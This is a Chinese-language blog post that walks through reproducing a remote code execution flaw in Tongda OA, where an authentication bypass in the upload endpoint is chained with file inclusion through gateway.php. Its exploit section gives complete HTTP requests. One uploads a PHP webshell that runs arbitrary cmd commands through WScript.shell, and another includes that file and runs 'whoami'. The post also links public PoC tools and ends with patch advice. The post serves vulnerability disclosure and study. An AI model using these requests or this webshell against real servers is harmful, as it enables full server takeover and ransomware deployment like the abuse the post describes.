• 通达OA 任意文件上传+文件包含导致RCE漏洞复现


    通达OA 任意文件上传+文件包含导致RCE漏洞复现

     

    0X00漏洞简介

    通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

    该漏洞被黑产利用,用于投放勒索病毒

    该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

     

    0X01漏洞影响

    V11版、2017版、2016版、2015版、2013增强版、2013版

    0X02漏洞原理

    被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php是登陆验证的相关逻辑,upload.php中$P参数如果非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json进入47行的includ_once进行文件包含

    0X03漏洞环境搭建

    我用的环境是通达V11下载地址为

    链接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q

    提取码:z863

    如果需要看源码的使用解密工具解密查看即可解密工具下载地址为

    链接:https://pan.baidu.com/s/1-Bzki6lLOflFIlhIY2gNzg

    提取码:akiz

    下载好源码后解压缩直接运行EXE文件安装,访问localhost即可。

    0X04漏洞复现

    有些版本gateway.php路径不同

    如2013:

    / ispirit/ im/ upload. php

    / ispirit/ interface/ gateway . php

    2017:

    /ispirit/ im/ upload. php

    / mac/ gateway. Php

    本文使用的v11版本路径为

    /ispirit/im/upload.php

    /ispirit/interface/gateway.php

    访问任意文件上传漏洞路径/ispirit/im/upload.php

    使用burp抓包发送小马数据包可以看到成功上传

    访问本地文件包含漏洞 /ispirit/interface/gateway.php

    使用burp抓包发送构造文件包含数据包并执行命令

    0X05poc工具

    https://github.com/M4tir/tongda-oa-tools

    https://github.com/fuhei/tongda_rce

    0X06exp代码

    文件上传

    POST /ispirit/im/upload.php HTTP/1.1
    Host: 192.168.1.106
    Content-Length: 658
    Cache-Control: no-cache
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
    Cookie: PHPSESSID=123
    Connection: close

    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="UPLOAD_MODE"

    2
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="P"

    123
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="DEST_UID"

    1
    ------WebKitFormBoundarypyfBh1YB4pV8McGB
    Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
    Content-Type: image/jpeg

    <?php
    $command=$_POST[&apos;cmd&apos;];
    $wsh = new COM(&apos;WScript.shell&apos;);
    $exec = $wsh->exec("cmd /c ".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;
    ?>
    ------WebKitFormBoundarypyfBh1YB4pV8McGB--

    文件包含

    POST /mac/gateway.php HTTP/1.1
    Host: 10.10.20.116:88
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: python-requests/2.21.0
    Content-Length: 69
    Content-Type: application/x-www-form-urlencoded

    json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami

    exp代码有问题可以加群向群主反馈,复现遇到的问题也可以一起研究。

    代码分析部分请加群获取

    0X07修复建议

    更新官方补丁

    http://www.tongda2000.com/news/673.php

  • 相关阅读:
    Effective C# Item27:避免ICloneable接口
    Effective C# Item28:避免强制类型转换
    Effective C# Item25:尽可能将类型实现为可序列化的类型
    Effective C# Item31:尽可能实现短小简洁的方法
    Effective C# Item26:使用IComarable和IComparer接口实现排序关系
    Effective C# Item33:限制类型的可见性
    Effective C# Item24:声明式编程优于命令式编程
    Effective C# Item34:创建大粒度的Web API
    Effective C# Item32:尽可能实现小尺寸、高内聚的程序集
    Effective C# Item21:使用委托表达回调
  • 原文地址:https://www.cnblogs.com/L0ading/p/12565426.html
Copyright © 2020-2023  润新知